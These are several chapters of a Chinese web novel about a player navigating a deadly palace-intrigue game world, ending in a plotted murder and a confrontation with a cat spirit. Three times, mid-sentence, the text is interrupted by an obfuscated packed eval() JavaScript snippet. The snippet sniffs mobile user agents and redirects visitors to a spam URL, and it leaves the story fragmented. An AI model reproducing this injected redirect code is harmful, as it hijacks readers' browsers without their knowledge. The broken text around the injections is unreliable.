但面对少监的质问，林筱自然没法那么理直气壮地说自己完全忘了他们的存在，只能装出委屈的样子：“昨天还没查到什么我就看见好大一个黑影，我害怕，就逃出去了。” 假话，她是一句没说。 看到黑影、害怕、逃出去，这三件事她都经历了，只不过时间不是少监想象的时间而已。 少监也没说信不信她，冷着脸：“昨晚我们发现这个世界所面临的灾难来自动物死后的灵魂。只要避开那些动物的坟墓，不要接触重要人物，比如户部尚书、贵妃之类的，就能活到最后。” 没想到少监居然还愿意把成果分享出来，但林筱还是故作惊讶地疑惑：“贵妃也需要避开吗？” “不该知道的就别问，你只要知道户部尚书和贵妃都是重要人物，离他们远一点就行。”眼看着林筱神态反应正常，昨晚想来也没打探到有用信息，张少监便没了耐心，不耐烦地转身就准备离开。 他们此刻就位于藏书阁的二楼，三层的建筑除了门外的侍卫就只有他们两个人。 满屋子的书，干燥易燃的建筑，如果发生事故也只能任由活下来的那个人决定事情的真相。 林筱的手指不耐烦地搓动，看着远去的背影，从鼻腔发出一声难以被发觉的冷哼。在少监回头前，她调整好自己的表情，肩头耸动，露出犹豫且胆怯的样子：“可是，我今天就要去见贵妃。” 这还是晋王世子给她约好的日子，让她能在贵人面前露脸，来求得前途顺畅。 果然，听到这句话的少监停下脚步。他想要回来，却也不想让林筱发现他的急切，所以压低着回来的速度，但沉重的脚步声却暗示了一切。 “贵妃真的那么危险吗？”林筱站在原地等着他，催促。 少监也明白要先把人安抚下来，就将那个答案给了她：“贵妃是户部尚书的上线。” 只是这样？ 林筱低下头掩饰自己的情绪，那不就和她知道的没有区别。 昨天晚上的事说惊险，倒也不惊险，至少对于她而言。 就在第一批人离开没多久，一旁的亭子上就出现一个矮胖的人影。从体型上看，那应该是户部尚书无疑。 他一边吹着口哨，一边向外伸出右手。随着哨声停歇，一只通体雪白的白鸽从天而降，落在他的小臂上。 如果事情到这，最多也就是户部尚书和某些人暗中联络的把柄。可随之而来的，却是那白鸽口吐人言，清晰的吐字在暗夜中不容错辨：“贵妃有令，近日不得生事。” 白鸽的地位比一个三品官员还高，户部尚书在它面前都有些诚惶诚恐：“最近可是出了什么大事？今日就连我家院子也出现外人闯入，幸被狸奴所获，才不会误了大事。” “不是什么大事。晋王生辰，我们总得给几分面子。”白鸽梳理着羽翼，扇动着翅膀嗅闻户部尚书献上的立香，发出心满意足的喟叹，“倒是你，最近小心点。那小黑猫怎么在外城杀人了？这件事已经吸引了探花的注意，皇帝现在还喜欢着他，杀不了，到时候别把我们暴露出去。” “我不知道，”户部尚书嗫嗫道，“我又管不了它。” 白鸽在空中盘旋一圈，丢下“废物”两个字，毫不留恋地离去。被留在原地的户部尚书整理好亭子残留的痕迹，也离开了那里。 压制猫妖的人物都离开了，藏着猫妖的土丘再次冒出青烟，显现出一个浑圆的小黑球。 一个还没变大的猫妖。 猫妖睡眼惺忪，踩着空气拉长四肢，粉嫩的爪垫是星夜中最多彩的光景。 林筱趁着它还没完全苏醒，踩着时间爬狗洞离去，只能远远听见一声尖啸，也不知道它发现了什么。 现在想来，说不定是和少监他们碰上面了。如果是这样，他不愿意说出自己冒着危险得到的信息也情有可原。 “见贵妃，”少监重复了一遍林筱的话，看着她的眼神像是看到一件值得投资的物品，“那可是一件危险的事情。” 他看着林筱，林筱不明所以地回视，过了半天才反应过来，收敛自己的懈怠字正腔圆地说道：“救救我。” 少监皱着眉，狐疑地看着林筱，却依旧没能在她的脸上看到异样。虽然这声“救救”怎么听都有些敷衍，但意思到了就行，他也不是计较这一声请求的人：“我可以帮你活下去，但你要替我做一件事。” 这天下没有白吃的午餐，尤其是这午餐还是少监发放的。虽然林筱有自信能应付过去，但她也想看看少监他又想玩什么把戏，诚恳发问：“您需要我做什么？” “替我偷一根贵妃宠物的毛发，”少监的话看似请求，却不给林筱拒绝的余地，“我可以给你一张护身符，让你平平安安回来。” 从任务本身而言，还是可靠的。有舍有得，少监还需要她活着回来交任务，就应当会保住她这条命。但， “护身符？”林筱迟疑地看着少监手中陈旧的符纸，杂乱的笔画如同顽童的胡乱涂鸦，淡黄的纸片甚至溅上零星深色污渍，就像雨天发霉的废纸，给人的感觉是死寂而不是生机，“这有用吗？” 少监看见她的嫌弃，嗤笑一声：“这是游戏道具，玩家唯一可以带出游戏世界的东西，也是你们这些普通玩家一辈子都可能见不到的宝物。也就是你这次运气好，能撞见与重要人物相关的剧情，不然你也不会知道这等宝贝。” 他轻柔地抚摸符纸，恋恋不舍地交与林筱：“我知道探花在招揽你。但他也就是有点小聪明，哪知道游戏里那么多的弯弯道道。好好跟我干，我还会告诉你获得道具的方法，帮你早日离开游戏。” 看得出，这个符纸对于少监来说也不是容易得到的东西。再加上获取道具的方法，奖励层层加码，到这时，林筱也不得不心动：“好。” 果然，除了在离开世界结算后获得npc赠送的道具外，还有别的方式可以获取道具。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073084|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起礼物，这些道具看着就残缺破败，也不知道二者的作用有没有区别。 “系统。”林筱在心中默念。 大家都是成年人，总不至于少监说一句话，她就要新一句。眼前就摆着验证途径，她总不能视而不见。 [玩家如想鉴定道具真伪，可用1积分兑换1次鉴定机会。 玩家如想鉴定道具功效，系统将根据道具等级索取50-10000积分不等为代价。 玩家需要哪种服务？] 系统一如既往的贴心，以及抠门。 “鉴定真伪。”少监还在看着她，林筱腼腆地笑了一下，收下那张递来的符纸，心中默念。 她现在可是有4600多积分的富豪，1个积分还不至于让她心痛。 [真。]积分少，系统的话也少。 可见就算是系统，也免不了将服务与价格挂钩。 对于听话的队友，少监是欣赏的。抛去整个过程那些奇奇怪怪的聊天，少监还是满意地再次拍了拍林筱的肩膀：“如果有什么问题可以来找我。我相信你的潜力，我们一定会活过剩下两个月。” 两个月，有点久啊。 林筱看着少监和这个无人的藏书阁，在不确定他还有多少保命道具的这个前提下只能遗憾地离开了。 有道具，有经验，这些老玩家居然就没人考虑去做那个隐藏任务，触发隐藏职业吗？一个个都在这拉帮结派，靠着别人探路活下去。 这种玩法，当真没意思。 有那么一个不知道藏着多少道具的老玩家在，她就不好搞点破坏看看系统的底线了。就只能先老老实实等两个月，看看普通玩法的结局是怎么样的。 林筱去的第一站不是皇宫，而是世子别院。 贵妃是世子帮她牵的线，所以在准备前往皇宫前，她理应前去拜访。 她也没想着真能看见世子，只不过是因为她知道的能与世子联系的地方只有这里。但当真的在别院看见人时，她却不知道该怎么开口。 倒是世子抚摸着白狼的长毛，看着她的眼神温柔如水：“要去见贵妃了？” 林筱也蹲下摸了摸白狼的头：“对。” “我已经和陛下说明情况，你只需要递上自己的牌子，贵妃就会召见你。”世子拢了拢袖口，微凉的春风吹动领口的绒毛，他微微咳了一声。 正如玉山之将颓，虽病气在身，却难掩天然风姿。 “世子殿下不和我一道去？”林筱听出他话中的意思，有些讶异地抬头。 “我是外男，怎么好随意出入后宫。”世子被她的反应唬了一下，含笑解释，“不过，你可以带着白狼去。” “白狼不是晋王的生辰礼吗？”林筱放在白狼身上的手都被吓得收回，“能随便带走吗？” 哪有拿着别人的礼物去拜访另一个人的，而且还是在双方都知情的情况下。 “白狼与白狐同出一山，有它在你也好与贵妃搭话。”世子直起身，淡淡道，“白狼在，他们也都知道你是我们晋王府的人，免得有些不长眼的冲撞你。” 30. 第一个世界12 贵妃是一个极美的女子。 林筱见到她时，她正斜倚在御花园的秋千上，像极一朵盛放的玫瑰，极尽妍丽。她就那么静静坐在那，透露着果实熟透后自然流露出的风情。 听到外界传来的动静，贵妃瞥了林筱一眼。那一眼如同钩子般钻进了林筱的心里，轻飘飘的声音并不会让人觉得怠慢，反而渴望与她进一步接触：“你就是新科进士，司天监林主事？” “正是微臣。”林筱低下头，不敢看这个仿佛天然带有蛊惑人心魅力的女子。 “果真是可爱啊。”贵妃摸了摸林筱带来的白狼，也不知道说的是人还是兽，“和我坐下聊一会。” 话音还没落下，一旁的宫女就已经提前备好小凳摆放在一边，只等着林筱落座。 即使知道贵妃就是户部尚书背后的人，林筱依旧很难对她生出厌恶的心思。 她单手托腮，微挑的凤眼端详着林筱，一旁的桃花飘落，点缀在她的发髻，衬得人比花娇：“你怀里的可是晋王世子准备给晋王的生辰礼？” 贵妃问话，林筱自然不敢不答。她放下怀中的白狼，白狼也老实地蹲在她的脚边，轻轻蹭她的脚踝：“正是这白狼。” “倒是个听话的好孩子，不像我这个孽子。”贵妃点了点怀中白狐的额头嗔怪道，眉眼却满是宠溺，“去吧，和你的同乡玩耍。” 怀中的白狐抬头“嘤嘤”叫了一声，尾巴轻轻扫过贵妃的下颌，逗得她轻笑，这才不紧不慢地踩着优雅的步伐来到林筱身前。 这确实是一只美貌狐狸。如果这个世界上只有一只生物可以称得上妖，那么林筱就会毫不犹豫地选择它。 它蹲坐在她的脚边，狭长的双眼楚楚可怜地望着她，蓬松柔软的尾巴一遍又一遍地扫过她的脚踝，毛茸茸的爪子试探着搭在她的膝上。 更何况，这还是一只心里有她的心机狐狸。 它会在靠近她的同时，暗地排挤一旁吸引她注意的白狼。但当白狼伏低身子朝它咆哮时，它却又仰着它那姣美的小脸怯生生地躲在角落，水灵的瞳仁中满满是她。 这怎么能不让人心动。 “没事，夭夭不伤人。”贵妃看着眼前这一幕，笑着说道，“她这是喜欢你，你便抱抱她，不然她就该伤心了。” 有了贵妃的开口，林筱这才将白狐抱在怀中。 它浑身毛发蓬松，像是个香香软软的温热团子，就算被拔一根毛，应该也发现不了？ 林筱顺毛的手指微顿，引得白狐低低叫了一声，这才恢复之前的频率伺候着它：“贵妃娘娘这白狐颇通人性，聪慧可人。” “夭夭确实聪明，”贵妃含笑道，“所以我就寻思，她生来与众不同，就该有个不同寻常的待遇。” 林筱抬眸看着她：“生祠？” “你倒没像那些老古董一样成天说些不符礼教之类的话术。”贵妃掩唇轻笑，“没错，我就是想为她建个生祠，我们夭夭她值得……” “娘娘，”从远处小跑来一位宫女轻声打断她，看话语中的亲昵应该是贵妃的亲信，“探花郎来了。” 贵妃停下想说的话，远远瞥见一个男人身影，表情瞬时淡漠下来：“让他进来吧。” 看到林筱也停下了动作，贵妃这才笑意晏晏地看着她：“不用理会他。那是皇上特意命他为夭夭作画，好在日后挂在生祠上。” “如果是今科探花，我们还认识。”林筱没有否认这个事实，对着贵妃诚恳地说了出来。 闻言，贵妃嘴角的笑意更加明显：“那你们先去聊聊，记得叮嘱他把我的夭夭画得端庄些。这小丫头成天没个正形，放在生祠怕压不住。” 林筱放下白狐，没有附和贵妃看似贬低实则宠溺的话语，走向了探花郎处。 探花郎就在不远不近的地方，一旁的宦臣站在不会打扰他们的远处，低着头垂手候在一侧。 “你怎么在这？”探花询问的语气充满了惊讶。 他可能是真的惊讶，毕竟现在所有玩家基本都应该知道贵妃是个危险人物，只要是个正常人都会选择回避。 可惜林筱不是。贵妃的表现很正常，白狐虽然过分聪颖但也可以理解。最重要的是，林筱没有看到坟墓。 从她目前看到的所有信息来说，妖虽然重要，但坟也是一个必不可缺的因素。 也就是说，如果贵妃是这个世界最危险的那个因素的话，生祠就是为她添上最后一把火的力量。 这样一来，坟、兽俱全，她就会是这个世界的林皋。 但面对探花郎，她自然不会透露出自己的进度，转头提起另一个人：“少监让我拔一根白狐的毛。” “你真打算那么做？”探花郎皱起眉，看了一眼贵妃的位置，“他是让你用命去试探贵妃的能力，你明知道，” 他看着周围的宦官，谨慎地压低声音：“这个世界的危险在于这些野兽。” 林筱挪了挪腰间垂挂的香袋，露出半截符纸的模样：“我知道，但少监也给我护身符了。” “你就那么信他？”探花看着林筱的目光可以说是匪夷所思，“你甚至都不知道他有没有骗你。” “不要用，”探花看着林筱的眼神带着怜惜，“别被他骗了，这不是护身符，不信你可以向系统查询它的功能。” “系统，鉴定道具功效。”既然探花郎这么提了，林筱也这么做了，“并隐藏特效。” 没过多久，成功扣除60积分的系统将鉴定结果告知林筱： [鉴定花费：50积分，特效隐藏花费10积分。 鉴定结果如下：破损现形符，可使非科学生物呈现出原始科学形态，但对于正处于原始形态的生物会造成激怒效果。本道具夹杂前主人的怨念，增加攻击对象战斗力10%。] 没有看到预期中鉴定道具应有的金光，探花按捺住计划被打破的烦躁，等待林筱回过神来。而回神的林筱也没有给他他想要的答案：“系统告诉我无法查询，我的积分不够。” “是吗？”探花惋惜地叹了口气，抬眸含情似水般看着她，“筱筱，不要信他，更不要去挑衅重要人物，你活着对我很重要。” 不然怎么说是资深玩家呢，前不久刚怀疑过她私藏规则，现在又怀疑她伪装新玩家或者就是拿到老者遗产的人。 虽然他的直觉都没错，演技也的确不错，但可惜把她当成了傻子，演得过于功利了。 “你们为什么都会觉得这件事很危险？”林筱轻叹了口气，“重要人物，也是人啊。” 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073085|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以，他们的行为模式也是正常人的模式。 看着探花郎还是不太明白的神情，林筱算是彻底放弃合作的想法。 看来他也就长个聪明的样子。 没有再理会还在思索林筱这句话是什么意思的探花郎，林筱回到贵妃身前，笑了一下：“和他们聊天果然无趣。” “这世上的男人，也就只有陛下才称得上风华绝代。”贵妃抚摸着白狐柔顺的长毛，眯着眼轻叹，“剩下的人，庸俗。” “娘娘说的是。”林筱对于男人这个话题并不感兴趣，随意地附和一句就露出自己的真正目的，“先前提到生祠，娘娘可知这位白狐大人的生辰。” “小家伙，有人叫你白狐大人，你还不赶紧抱抱她。”贵妃笑着摸了摸白狐的脑袋，爱怜地开口“这小可怜送到宫里的时候已经有四五个月大，就连找到它的猎户也说不清它具体的生辰时候。你问这个做什么？” “娘娘既要选个吉时吉地，有了白狐大人的生辰八字总能更准确些。”林筱低着头，“如果没有八字，那以白狐大人关系最亲密的物体为引也不失为一个办法。” “你这说法有趣，倒是有几分那个味道。”贵妃饶有兴致地点了点头，示意一旁的宫女回宫中取一物件，这才似真正把林筱看进眼里般重新打量她一番，“不愧是晋王世子殿下推荐给陛下的人选，倒是个可人儿。” 林筱依旧低着头，没有回话，直到一旁的宫女将一只毛毡白狐送上。 “这是我亲手做的夭夭，用的也都是它脱落的毛，”贵妃遥遥点了点林筱，“这世上总不会还有更亲密的物体了吧。” “回娘娘，足够了。”林筱点了点头，真就将玩偶摆放在中间盘起九宫来。 正当林筱盘算得起劲时，不知何时当朝皇帝也来到了御花园。满满一个院子，除了贵妃和毫无察觉的林筱，跪满一地人。 皇帝走到林筱身边，看着她的草稿，点了点头：“这吉日就在三天后。” “陛下，”林筱乍一听到这个声音，愣了一会才按照官员的礼仪拜见了这位至高无上的统治者。 在贵妃的眼中，他是风华绝代的男人；而在林筱眼中，他就是个不识趣的中年男人。 皇帝其实不胖，多年的自律让他养成完美的体魄，是探花郎那些文弱书生所没有的蓬勃英气，只是面上的威严让他更老了几分。 然而他不明白领导想的和打工人想的是不一样的。 所以当他以恩赐的名义赏林筱兽囿一日游时，林筱好悬没绷住自己的表情。 能住进皇宫的动物虽然可爱，但也危险，尤其在当下这个环境。皇帝的兽囿林筱听闻可都是凶兽猛兽，一顿能吃七个人，还只是半饱。 但她能怎么办，不还得高高兴兴领了赏。 “这位也是新科进士？”皇帝不是看不出林筱的不情愿，顿时好奇地向贵妃询问。 贵妃上前挡住皇帝探索的目光，笑着搂住他的臂弯，嗔道：“是啊，这便是晋王世子提的那位。” “晋王世子。”皇帝一听到这名字顿时没了兴致，看着老实跪在一旁的林筱，冷淡地开口，“三日后，你协助贵妃在高家为白狐建生祠。限时两个月，误了时辰，拿你问罪。” “臣，领旨。” 31. 第一个世界13 “您是要对付贵妃吗？”看着将自己送出的狐毛谨慎收起的少监，林筱试探着询问。 在他们这些人眼中，她是一个再纯粹不过的新手，说话直白些反而更符合人设。 “你为什么会觉得我要做这吃力不讨好的事情？”少监抬了抬眉毛，看着林筱那失落的模样嗤笑一声，“你们这些年轻人，就是有拯救世界这种痴心妄想。” “不过，”少监话锋一转，“也是你运气好，遇到的人是我，还愿意成全你们这些年轻人的梦想。” 林筱没有让自己的表情出现纰漏，点了点头，也算是奉承他了。 运气好不还，她不清楚，但成全梦想这个笑话，听听也就算了。少监这个人就是单纯的利己主义者，没有利益的事情他不会做，有利益的事情他鼓吹别人去做，最后坐收渔翁之利。 林筱也知道自己现在就是被他当个好用的棋子使唤，但还是那句话，只要目的达成，过程并不重要。 就现在这个局面，她觉得自己还是有希望避开这几个老玩家完成隐藏任务的。 “贵妃和那白狐，我们正面冲突肯定打不过，但这不是还有个户部尚书。”少监笑着拍了拍林筱的肩，似笑非笑地看着她，“也是你们的运气到了。还记得我说过道具的获取方法吗？” “记得。”林筱点了点头，这也是她的报酬之一。 “这个方法很简单。”少监神色一派云淡风轻，“只要把关键NPC杀了，他的道具就是你的道具。这也是最快、最方便的途径。” “所以——”林筱眼睫颤动，似拼死挣扎的蝶翼终究屈服于命运，“你要去杀了户部尚书？” “不是我，”少监意味深长地看着她，“是我们。” 林筱沉默了片刻，终究从喉腔传出一声震颤：“好。” 林筱被少监安排去寻找其他隐匿在自己职业中的人。 自从调查出贵妃和户部尚书才是主要人物之后，少监就不再想着藏书阁三楼后面到底藏着什么秘密，所以林筱也只能收敛自己的好奇心，先按照他们的节奏行动。 就像林筱在这个世界需要听命少监一样，其他人也会受限于自己的职业，做一些符合人设的事情。 比如绣娘会在布庄干活，小二会在酒楼跑堂，说书先生会在茶楼说书。 虽然系统没有明说，但做出符合自己职业的事情会让自己的在岗表现获得更高的分数也是个不争的事实。 对于普通玩家而言，他们需要做的就是扮演好自己的职业，以及活到最后，尽可能多的拿到游戏的基础分。 在上一次的冒险结束，大多数玩家已经得到了自己想要的结果，如今回归职业生活也是不想再冒这样巨大的风险。所以看到林筱时，他们的第一反应不是高兴，而是躲避。 不过林筱的任务只是带话，说服的事情还是交由少监完成。 还是那个迎客楼，还是那个包厢，只不过曾经坐满一个房间的人只剩下一半。 探花郎也出现在了这里。 这一次的主位是由少监来坐，他气定神闲地看着落座的众人，就像看着已经被自己圈住的猪羊，说是倡议却如同命令般不容辩驳：“我们需要你们配合一起阻止贵妃建立生祠。” 其他人只能用沉默来表示自己的抗议。 他们已经有了安定的生活，以后只要避开所有的土堆，看见动物就跑，很大概率能安稳活到两个月后，何必参与大佬们的斗争中。 少监也并不意外看见眼前这一幕。他嗤笑着依靠在椅背上，目中无人地抬起头，用下巴俯视众人：“你们知道自己进入的是什么样的游戏中吗？” “违法游戏。”林筱在此刻幽幽地开口。 其他人虽然感觉别扭，但也没法说她说的不对。毕竟，这就是个不正规的违法游戏。 少监被噎了一下，好不容易营造出来的气氛被破坏，顿时气急败坏地瞪了林筱一眼。但很快，作为一个老玩家的心理素质让他重新掌握大局：“对，这就是个违法游戏，但却是一个事关生死的游戏。” 林筱看见说书先生捏紧了拳头，但最终无力地松开，带着对未来的茫然。 “你们也都看见或听说了，户部尚书府的黑猫有多强。”少监继续俯视他们，“根据我打探的消息，这个世界我们最后会面对的强敌就是贵妃和她的白狐。现在白狐缺少坟墓，只要我们牵制住白狐生祠的进度，那到了最后，他们的力量必然削弱。” 他环视四周：“你们明白我的意思吧。” 其他人沉默了片刻，点头。林筱本来就是知情人，眼下功劳被夺走她也不在意，只是看着不请自来的探花郎。 果然，探花郎出现在这里就必然有他自己的目的。他看着动摇的众人，提高音量站起身来：“诸位。” 探花郎的面子大家都会给，他们也想听听探花郎的想法。 “我不是对这件事有怀疑，”探花郎看着围坐在一圈的人，“我对这个人有怀疑。我怀疑这个人，他的用意是什么。” 第一句把人镇住，探花郎也好继续自己的宣讲：“贵妃和白狐的事情不假，但白狐的杀伤力到底有多大，我们并不知晓。比起未知的危险，眼下他要拿你们填出一条得分的道才是摆在眼前的事情。” 这句话一出，本来就摇摆的人群渐渐有了向探花郎靠拢的倾向。 只不过和依旧保持沉默的人相比，这个倾向并不明显。探花郎说的话有道理，但也只是他自己的猜测，而少监那却是事实，虽然是危险的事实。 探花郎显然也意识到这一点，他想要改变这一局面，就需要寻找一个突破口。而他寻找的突破口就是林筱。 他叫住坚定站在少监一侧的林筱，一贯带着笑意的脸难得正经：“林主事，在场的人除了我和少监，就属你最明白情况。” 一下子就变成焦点，林筱虽然不耐烦，但也给面子地点头：“少监没说错。” 按照现有信息推测，兽、坟二者相辅相成，缺一不可。 白狐她那天观察过，就是过于聪明的普通动物，手感、体温、习惯都没有改变。这就证明，它还没有像黑猫那样完成蜕变。 阻止生祠的建立就是阻止白狐从一个普通生物变化为超凡生物，不论少监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073086|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的，这个推演的过程没有问题，也是他们降低存活难度的最优解。 比起和一个超凡生物对上，那的确是人比较好对付。 “你们的想法没错，”探花郎已经不提少监了，“但你们还需要考虑一件事，你们能在黑猫的保护下破坏生祠吗？” 探花显然抓到了一个辩驳点：“他没有告诉你们生祠就建在户部尚书府。而且，就在黑猫附近。” “比起未来还不知道会不会遇到的白狐，黑猫对于你们的危险不是更大吗？” 眼看着在场的人都开始倾向于探花，少监冷笑着打断他：“你当然不用担心白狐攻击你，毕竟你已经投靠了贵妃，不是吗？” 场内一片哗然，就连林筱也不能免俗。 反倒是话题的中心，探花本人还很坦然自若：“没错，我是和贵妃搭上线了，但也没人说不能和NPC合作。真要说起来，这个主意还是林主事暗示我的。” 说着，探花还向林筱暧昧地眨了下眼。 林筱能感觉到周围的人默默远离了她，也知道这是探花的攻心计。但她也不能否认他的这个说法，毕竟，探花还真有可能是受她的启发。 是她告诉探花，NPC也是人。既然是人，就可以威逼利诱、合作共赢。只不过她也没想到探花居然会想到和NPC合作上，更想不到NPC居然真的会同意。 也不知道，探花是怎么说服贵妃的。毕竟那位看着亲切，内里却瞧不上任何人。 “你怎么知道这些NPC不是想把你们养肥了吃呢？”少监看不惯探花那得意的嘴脸，冷嘲道，“我劝你三思而后行，把自己的命搭上去不说，别害了其他人。” “我支持少监。”就在这僵持的时候，在场的一个人突然开口，“比起不知道什么时候被自己人出卖，我宁愿自己选择死法。” 这句话的矛头直指探花郎，但其余人也没有反驳。 就算探花郎不想出卖他们，但他毕竟在贵妃手底下做事，NPC总有办法让他吐露出她想要知道的内容。 比起在往后的日子时时刻刻胆战心惊，不如提前削弱贵妃。如果死了，那也是他们时运不济，总归难逃一死。 而且少监会在此刻召集大家对付贵妃，那就是想到了解决办法，他们面对的至少不是彻底的死局。 “可惜不能对玩家出手。”也不知道是谁突然说了那么一句，包厢内猛然一静。 大家看向了探花，而探花也知道自己不受欢迎。他全当感受不到房内诡异的安静，还能维持住面子上的礼仪离开了这里。 林筱看看四周的人，没有人流露出还想要离开的意图。他们脸色阴沉地看着圆桌中央，仿佛要把它盯出一个洞来。 林筱又看向少监，他唇角勾起一抹微不可见的笑容，从不掩饰的野心肆意张扬。 但不知道为什么，明明一切尽在掌握，可她却总觉得不安。 作为在场唯一的胜利者，少监转过身来看着剩下的其他玩家：“明天晚上，就是我们行动的时间点。你们照样在这里先汇合，我会安排人把你们带入内城，等待我的指令再行动。” 32. 第一个世界14 今天晚上，也是林筱协助高家建立生祠的前一晚。 贵妃需要的建筑自然不能随随便便对待，哪怕那只是一只狐狸的生祠。所以高家特意贴出告示，招聘精于此道的熟手。 林筱就趁这个机会把其余玩家安排了进去。为了防止他们身份提前暴露，林筱让她的小厮管理这些人，也算是给他们走了后门。 这些人的存在高家知道，但也都睁一只眼闭一只眼，只当林筱想要照顾自家穷亲戚。 而另一头，少监则去找了司天监内收拢来的民间术士。通过他们，少监得到了解决猫妖的办法。 一条涂抹了特殊毒药的鱼。 万事俱备，只欠东风。 等到夜色降临，宿在户部尚书府的其余玩家避开巡逻的人员，迎来了依旧爬着狗洞进入户部尚书府的少监、林筱二人。 因为最近事务繁忙，来往户部尚书府的人员杂乱，侧门的门槛都快被踏破，急得管家那是口角生疮，苦不堪言。所以最后他们直接一刀切，增强府内的巡逻人员与频次，杜绝有人作乱。 好在现在他们几个也都是有经验的人，对户部尚书府不说多熟悉，至少也不陌生，这才避开所有巡逻的人来到了主院。 今天他们的目标就是户部尚书。 当然，少监对外的说法是对付人比对付猫简单，而且贵妃父亲死后这府里肯定也不能大兴土木，所以也就延后了生祠建立。 但对林筱，少监的话就更加简单了：道具。 户部尚书也是重要人物，他的身上必然存在道具。至少让林筱看来，他的那枚口哨就必然是其中之一。 如果他们能拿到口哨，将来即使遇到白狐也能拖延一二。 就这样，少监说服了所有人，统一目标，一致对户部尚书。 户部尚书这个官位纯粹是靠贵妃的荣光升上去的，他本人虽然不聪明，但最大的优点就是肯听意见，所以户部也被管得安安稳稳。 如今遇到大事，户部尚书又处于焦虑之中，这大晚上的依旧烛火通明，隔着窗户就能看见里面的人影来回踱步，思虑万千。 他们等了一会，确定附近没有其他人，黑猫也没有出现，他们翻身进入屋内，吹灭蜡烛，控制住户部尚书。 户部尚书是个胆小的，他吓得两股战战，几乎就要跪在地上，衣袖很快就被汗水浸湿，滴落在地面。 他想要说话，却只能发出捂嘴后的支吾声。 “速战速决。”林筱压低声音催促道。 守在户部尚书府入口的是她的小厮，如果被人发现她第一个逃脱不掉，所以她也是这里面心最急的人。 少监捂着户部尚书的嘴，把玩着手中的刀柄。月光映照在刀锋，凛冽冰冷，透得人心寒凉。 户部尚书的眼睛睁大，显然，他已经认出了人。 林筱是最近和他对接的主事，但毕竟官职小，他也不甚在意。但少监也算是司天监的三把手，两人时不时还会在朝会上相遇，论熟悉度自然是他们更高。 “你们要做什么？”户部尚书是个识趣的，他配合地压低声音，“我与你无冤无仇，何苦寻我开心。” “你的存在就是最大的错误。”少监似乎就在等他这句话，户部尚书刚一说完，他就将手中的匕首插入他的胸口，看着鲜血溢出，晕遍整个胸口。 其他人沉默地看着眼前这一幕，就像是特意来参加他的悼念会，为他送走最后一程。 少监没有拔出匕首，那是他在这件书房随手找的工具，整了下衣摆：“任务结束，走吧。” 血泊中的户部尚书口角溢出血色泡沫，喉咙依旧在痉挛般颤动，如同不断发出恶毒的诅咒。 他睁大了眼，只能用最后的力气记住伤害他的几个人，死不瞑目。 等到户部尚书彻底没了动静，他们转身离开房间，却发现原本可以轻易推开的木门明明没有被锁住却难以移动，若有若无的喵声在他们耳边回荡，难以言喻的紧迫感扼住他们的咽喉，让他们陡然生出无边的恐惧。 暮色笼罩。 他们能感觉到猫爪踩在书桌不小心碰到纸笔的声响，也能听到它那若有似无的呼吸声在房间回荡。 最先承受不住压力的就是说书先生。 他本来就在茶楼说些当地人喜爱的奇闻异事，听到的关于妖怪的传说也是他们中最多的人。 所以在此刻，他也是最容易联想到那些恐怖的故事，最先感受到害怕的人。 他缓缓转身，看向被他们丢在身后的尸首。 第一眼看到，不是户部尚书，而是一只几乎与屋子等高的黑猫，幽绿的瞳仁炯炯有神地盯着他们，时不时抬起爪子轻舔。 它看见有人发现了它，几乎融于黑暗的脸上裂出一道深沟，露出一点鲜红的存在，尖利的獠牙半遮半掩，无声地恐吓。 说书先生顿时吓得一个趔趄，抓住前面一个人的衣角就跌坐在地面上。 而那个被说书先生抓住衣角的倒霉蛋就是林筱。 她本来也想当做什么都不知道地隐藏在众人身后，但现在被说书先生牵连，一下子就成为黑猫眼前最显眼的人之一，也是有苦说不出。 但她并没有和说书先生一样慌张，甚至看到黑猫时还会和它笑一下，默默将自己挪到角落。 她既然决定和少监合作，也是有她的底气所在。 上次夜访尚书府时，其实她就已经被黑猫发现。毕竟她在前不久还是一个遵纪守法的良好公民，一下子就让她做这偷鸡摸狗的事情她也不熟练。 但是黑猫并没有举报她，甚至还用尾巴轻轻扫了一下她的头顶，露出那种“我摸到了这个小人哎”的满足神色。 甚至她离开，也少不了黑猫的掩护。 离开后，她也研究过原因。 那天她和其他人的行程一致，唯一的例外就是她遇到了白狼。但她也在贵妃那边测试过，白狼似乎就是普通白狼，不是妖类偏爱她的理由。 到最后她才发现这一切居然是因为林洛送给她的玩偶。 或许是因为她曾经用另一个形态进入过那个玩偶之内，所以它还具备增加同类好感度的功效。所以白狐才会对她也格外有好感，而那时她就清楚地感受到玩偶在发烫。 有玩偶在身，只要她没有直接触犯黑猫的利益，林筱至少可以保证 